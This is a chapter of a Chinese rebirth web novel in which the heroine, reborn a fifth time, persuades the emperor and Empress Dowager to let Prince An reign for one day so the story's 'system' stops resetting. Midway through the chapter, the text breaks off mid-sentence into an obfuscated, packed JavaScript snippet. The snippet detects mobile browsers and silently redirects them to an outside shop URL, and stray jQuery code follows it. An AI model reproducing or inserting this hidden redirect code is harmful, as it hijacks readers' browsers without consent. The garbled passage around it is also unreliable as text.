我又醒了。
我坐起来,低头看自己的手。手很小,指节纤细,掌心有薄茧但不多。我下床走到梳妆台前。铜镜里映出一张脸。瓜子脸,眉眼细长,皮肤白净,嘴唇薄薄的。十五六岁,身量不高。耳后有一块胎记。
柳如棠。又是柳如棠。
我坐在梳妆台前,脑子里嗡嗡的。为什么?我已经和安王成婚了。我们已经在一起生活了。沐南王也住进了后院。三棵桂花树种下了,秋千搭好了,木鸟削好了。系统说那是最后一世。不会再重生了。
可我又醒了。还是柳如棠的身体,还是安王府,还是那张拔步床。
门被推开了。绿衣丫头进来,端着水盆。
“表小姐,您醒了?”
“我……”
“您昨儿个刚到府里,累了吧?王爷让奴婢给您送水来。他说您先歇着,晚些再去见他。”
表小姐。刚到府里。又是那一天。
我站起来,往外走。丫头在后面喊:“表小姐,您还没洗脸呢!”
我穿过回廊,走到东厢书房。门虚掩着。我推开门,看见他坐在窗前。青色棉袍,布条束发,手里拿着一卷书,目光落在窗外的桂花树上。
“王爷。”
他转过头来。目光落在我脸上,停住了。然后他笑了。
“柳白白。”
“你记得。”
“记得。”他站起来,走过来,握住我的手,“你记得。我也记得。四世的事,我都记得。”
“为什么又重生了?”我问他,“我们已经在一起了。系统说那是最后一世。”
“我不知道。”他摇头,“我醒来的时候,发现自己又回到了这一天。我以为只有我记得。可你——你也记得。”
“沐南王呢?”
“他在后院。我醒过来就让人去看了。他也在,也记得。”
我坐在椅子上。脑子里很乱。第五次了。我又重生了。明明已经和安王在一起了,明明三人已经过上了安稳的日子。为什么?
“系统呢?”我问,“系统说过话吗?”
“没有。”安王说,“我醒过来之后,系统没有出现。”
正说着,一个声音在我脑子里响起来。冷冷的,机械的,像金属摩擦。
“柳白白。”
我浑身一震。
“系统?”
“是我。”
“你为什么又让我重生?我已经和安王成婚了。我们已经在一起了。”
“因为任务没有完成。”系统说。
“什么任务?你说男女主成婚,剧情稳定,就不再重启。我和安王成婚了。为什么还重启?”
“因为安王没有当上皇帝。”系统说,“这本书的男主是安王。男主的终极目标是皇位。他没有当上皇帝,剧情就没有完成。剧情没有完成,世界就不稳定。世界不稳定,你就得重生。”
我愣住。
“你说什么?安王要当皇帝?”
“对。他必须当一次皇帝。哪怕只有一天。皇位归位,剧情才算完成。你才不会重生。”
“可现在的皇帝是新帝。他是先帝传位的。安王怎么当皇帝?”
“你们可以想办法。”系统说,“但时间不多了。这是最后一次机会。如果这一次安王没有当上皇帝,你会继续重生。第六次,第七次,第八次。直到他当上皇帝为止。”
系统消失了。我坐在椅子上,看着安王。
“你听见了?”
“听见了。”安王说,“它说我要当皇帝。”
“你想当吗?”
他沉默了一会儿。
“以前想过。”他说,“在岭南的时候,我恨父皇把皇位给了五弟。我想当皇帝,想夺回属于我的东西。可现在……”
“现在怎样?”
“现在不想了。”他看着我,“我有你,有桂花树,有秋千,有木鸟。当不当皇帝,无所谓。”
“可你不当,我就得一直重生。”
他愣住。
“我不能让你再重生了。”他说,“你换了五具身体,走了五个地方。你累了。”
“那你当吗?”
他看着我,很久。
“你让我当,我就当。”
沐南王从后院过来的时候,脸色很白。
他站在书房门口,看着我和安王。他的眼睛红了。
“又重生了。”
“对。”
“系统说,要他当皇帝?”
“对。”
他走进来,坐在椅子上,双手撑在膝盖上。
“我做了四世的沐南王,权势滔天,手里有兵,有权,有先帝的密旨。可我从来没有想过自己当皇帝。我以为皇位是安王的,或者是新帝的。我没想到,系统要的是安王当皇帝。”
“沐南王,你愿意帮他吗?”我问。
他看着我。
“你让我帮他?”
“对。”
“为什么?”
“因为你不帮他,我就得一直重生。”我说,“你找了我四世。你也不想我再重生吧?”
他低下头,沉默了很久。
“好。”他说,“我帮他。”
安王看着他。
“你为什么帮我?”
“不为帮你。”沐南王说,“为她。她累了。我不想让她再重生了。”
安王看着他,很久。
“谢谢。”
“不用谢。”沐南王站起来,“我去京城。我有先帝的密旨,有宗人府的衔头。我去找新帝谈。”
“我跟你一起去。”安王说。
“不用。你留在岭南,等我消息。”
“可——”
“你信我一次。”沐南王说,“我找了你四世,等了你三世。我欺负过她,我囚过她,我威胁过她。可我不会害她。你信我一次。”
安王看着他。很久。
“好。我信你。”
沐南王到了京城,先去了宗人府。
宗人府在皇城东侧,是一座三进的院子。他走进正堂,宗人府的官员看见他,纷纷起身行礼。他虽然没了实权,但爵位还在,宗正的头衔还挂着。他摆了摆手,让他们坐下。
“我要见皇上。”
“王爷,皇上有旨,您入京可以直接进宫。”
“那我现在就去。”
他进宫的时候,天已经快黑了。新帝在御书房批折子。他今年十二岁了,个子又高了一头,脸上褪了婴儿肥,眉眼间有了几分先帝的样子。他看见沐南王进来,放下笔。
“沐南王,你来了。”
“皇上。”
“你从岭南来?”
“是。”
“安王和柳姐姐还好吗?”
“好。”沐南王顿了顿,“皇上,臣有一件事求您。”
“你说。”
“安王想当一天皇帝。”
御书房里静了一瞬。新帝看着他,没有说话。旁边的太监总管手里的拂尘掉在了地上。
“你说什么?”
“安王想当一天皇帝。”沐南王重复了一遍,“一天。年号安和。仪式从简,不昭告天下。一天之后,退位。皇上继续当皇帝。”
新帝看着他,很久。
“为什么?”
“因为系统。”沐南王说,“柳白白重生五次了。她每次重生,都是因为安王没有当上皇帝。系统说,安王必须当一次皇帝,哪怕只有一天。他当过了,剧情就完成了。柳白白就不用再重生了。”
新帝沉默了一会儿。
“朕知道了。”他说,“可这件事,朕一个人做不了主。太后那边,你去说。”
“太后不会同意的。”沐南王说,“太后一直不喜欢安王。她觉得安王是先帝的嫡子,威胁皇上的位置。她不会让安王坐上龙椅,哪怕一天。”
“所以你要想办法。”
“臣来求皇上。皇上若同意,太后那边,臣去求。”
新帝想了想。
“朕同意。”他说,“柳姐姐救了朕的命。她重生了五次,换了五具身体。朕不能让她再重生了。可太后那边,朕帮不了你。她若是不同意,朕也没办法。”
“臣明白。”
沐南王出了御书房,去了慈宁宫。
太后坐在殿里,手里攥着佛珠。她今年六十多了,头发全白了,脸上的皱纹深了,但眼睛还是亮的。她看见沐南王进来,抬了抬眼皮。
“沐南王,你从岭南来?”
“是。”
“安王还好吗?”
“好。”
“柳白白呢?”
“也好。”
太后点了点头,继续念经。沐南王跪在地上,没有起来。
“太后,臣有一件事求您。”
“你说。”
“安王想当一天皇帝。”
太后手里的佛珠停住了。她睁开眼,看着沐南王。
“你说什么?”
“安王想当一天皇帝。一天。年号安和。仪式从简,不昭告天下。一天之后,退位。”
太后看着他,很久。然后她笑了。笑得很冷。
“沐南王,你疯了。”
“太后,臣没疯。”
“安王是先帝的嫡子。他当了皇帝,哪怕一天,也是名正言顺的。他坐过龙椅,以后就会有人拿这个说事。你让皇上怎么办?你让哀家怎么办?”
“太后,安王不会争皇位。他只要一天。他当过了,就回岭南。种他的桂花树,过他的日子。”
“你拿什么保证?”
“臣拿命保证。”
太后看着他,很久。
“你为什么帮他?你不是喜欢柳白白吗?你找了四世,等了三世。安王是你的情敌。你为什么要帮他?”
沐南王低下头。
“因为柳白白累了。”他说,“她重生了五次。换了五具身体。从京城到岭南到杭州。她走得太远了。她累了。臣不想让她再重生了。”
太后沉默了一会儿。
“哀家不信你。”她说,“哀家也不信安王。哀家只信柳白白。你让她来。她亲自跟哀家说。”
“太后,柳白白在岭南。”
“那就让她来。她来了,哀家听她说。”
沐南王的信送到岭南的时候,是三天后。
信很短,只有几行字:
“太后不同意。她要见柳白白。柳白白亲自跟她说。你们来京城。”
安王看了信,看着我。
“你要去?”
“去。”我说,“太后要见我,我就去。她不信你,不信沐南王,可她信我。”
“我陪你。”
“不用。你留在岭南。太后不喜欢你,你去了反而不好。我去。沐南王在京城,他会帮我。”
安王沉默了一会儿。
“好。你去。可你要小心。太后这个人,不简单。”
“我知道。”
我去了京城。同行的只有周砚和两个随从。走了十五天,到了京城。沐南王在城门口等我。
“柳白白。”
“沐南王。”
“太后在慈宁宫等你。”
“现在就去?”
“现在就去。”
慈宁宫里,太后坐在主位上。她比上一世更老了,头发全白了,背也驼了,但眼睛还是亮的。她看见我进来,抬了抬眼皮。
“柳白白。”
“太后。”
“你坐。”
我坐在下首。太后看着我,很久。
“你重生了五次?”
“是。”
“换了五具身体?”
“是。”
“你累了?”
“累了。”
太后沉默了一会儿。
“安王想当一天皇帝。”
“是。”
“为什么?”
“因为他不当,我就得一直重生。”我说,“系统说,他是这本书的男主。男主的终极目标是皇位。他没有当上皇帝,剧情就没有完成。剧情没有完成,世界就不稳定。世界不稳定,我就得重生。第六次,第七次,第八次。直到他当上皇帝为止。”
太后看着我,很久。
“柳白白,你第一世的时候,哀家就认识你。你从一个庶女,爬到女官的位置。你救了五皇子,救了沐南王,救了柳家。你替柳妃平了反,替柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938780|213808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
明立了碑。你做了那么多事。哀家一直觉得,你是个有本事的。”
“太后过奖。”
“可你现在为了一个安王,来求哀家让位。哪怕只是一天。你让哀家怎么想?”
“太后,我不是来求您让位的。我是来求您给安王一天。一天之后,他还是安王,皇上还是皇上。什么都没有变。只是安王坐过一天龙椅。我不用再重生了。”
太后沉默了一会儿。
“哀家可以答应你。”她说,“但有一个条件。”
“太后请说。”
“安王当皇帝那一天,你要留在宫里。陪哀家。”
“陪您?”
“对。陪哀家吃一顿饭。就我们两个人。”
“为什么?”
“因为哀家想知道,你到底是个什么样的人。”太后说,“你重生了五次,换了五具身体。你记不记得第一世的事?你记不记得第二世?你记不记得每一世?哀家想知道,你脑子里装了多少东西。哀家想知道,你累不累。”
我看着太后。她的眼睛很亮,里面有好奇,有心疼,也有一丝我说不清的东西。
“好。我答应您。”
安王当皇帝的前一天晚上,我留在慈宁宫,陪太后吃饭。
饭很简单。一碗面条,两碟小菜。面条是太后亲手做的。她说她年轻的时候,在宫外学过做面。后来入了宫,就再也没做过。今天特意做的。
“尝尝。”
我拿起筷子,吃了一口。面条很筋道,汤是鸡汤,加了葱花和香菜。
“好吃。”
“好吃就多吃点。”
我低头吃面。太后坐在对面,看着我。
“柳白白,你第一世的时候,吃过哀家做的面吗?”
“没有。”
“第二世呢?”
“也没有。”
“第三世呢?”
“太后,每一世我都没有吃过您做的面。”
太后笑了。
“那这一碗面,算是哀家补给你的。”
“太后……”
“你重生了五次。你救了五皇子,救了沐南王,救了安王,救了柳家。你做了那么多事。可你从来没有跟哀家要过什么。你唯一跟哀家要的,是让安王当一天皇帝。哀家想了很久。哀家觉得,这个要求不过分。”
我看着她。
“太后,您为什么答应?”
“因为新帝同意了。”太后说,“新帝说,他尊重你的一切选择。他说你救了朕的命,救了朕的皇位。朕不能让你再重生了。新帝是皇帝,他说同意,哀家就同意。”
“可您刚才说,您不信安王,不信沐南王,只信我。”
“对。”太后说,“哀家信你。你第一世的时候,哀家就信你。你替五皇子选妃,你替哀家挡了南昌候的人。你替柳妃平了反。你从来没有骗过哀家。所以哀家信你。”
我放下筷子。
“太后,谢谢您。”
“不用谢。”太后说,“你吃面。吃完面,回去告诉安王。明天,他可以当皇帝。一天。年号安和。仪式从简。一天之后,退位。”
“好。”
我吃完了面。太后坐在对面,看着我吃完。
“柳白白。”
“嗯。”
“你累吗?”
“累。”
“那你以后别重生了。”
“好。”
安王当皇帝那天,是个晴天。
太和殿里,文武百官分列两侧。新帝坐在龙椅旁边的椅子上,穿着龙袍,但龙椅让了出来。安王穿着新做的龙袍,站在龙椅前面。他今年三十来岁,瘦削,颧骨微凸,但精神很好。
我站在女眷席上,看着他。沐南王站在我旁边,穿着玄色的朝服。
“柳白白。”他叫我。
“嗯。”
“你紧张吗?”
“不紧张。”
“他紧张。”沐南王看着安王,“他手在抖。”
我笑了。安王确实在抖。他的右手攥着龙袍的袖子,指节发白。
礼官喊:“吉时到——”
安王转身,坐在龙椅上。他坐下的那一刻,大殿里静了一瞬。文武百官跪下,山呼万岁。
“吾皇万岁万岁万万岁——”
安王坐在龙椅上,看着下面的人。他看了很久。然后他笑了。笑得很轻,嘴角只牵了一下。
“平身。”
他当了一天的皇帝。上午坐在龙椅上,听百官奏事。下午批了几道折子,都是新帝事先准备好的,无关紧要的。晚上,他在太和殿里走了几圈,摸了摸龙椅的扶手,摸了摸御案上的砚台。
“柳白白。”他叫我。
“嗯。”
“你过来。”
我走过去,站在他面前。他坐在龙椅上,我站在他旁边。
“你坐过龙椅吗?”
“没有。”
“你坐一下。”
“不行。”
“就一下。今天我是皇帝,我说了算。”
我看着他。他的眼睛很亮。我笑了,坐在龙椅旁边的台阶上。
“不是坐龙椅,是坐台阶。”
“台阶也行。”
我们两个坐在龙椅旁边,看着空荡荡的大殿。殿外的夕阳照进来,照在龙椅上,照在金砖上,照在我们身上。
“柳白白。”
“嗯。”
“我当了一天皇帝。”
“嗯。”
“你满意吗?”
“满意。”
“那你不用再重生了?”
“不用了。”
他笑了。他伸出手,握住我的手。他的手很暖。
“那我们回家吧。”
“好。”
第二天,安王退位。新帝继续当皇帝。安王和我回了岭南。沐南王跟我们一起回去。
回到安王府那天,是个晴天。三棵桂花树还在,秋千还在,木鸟还在。我站在天井里,看着三棵树。
“殿下们,我们回家了。”
“嗯。”安王应了一声。
“嗯。”沐南王应了一声。
这一次,我没有再重生。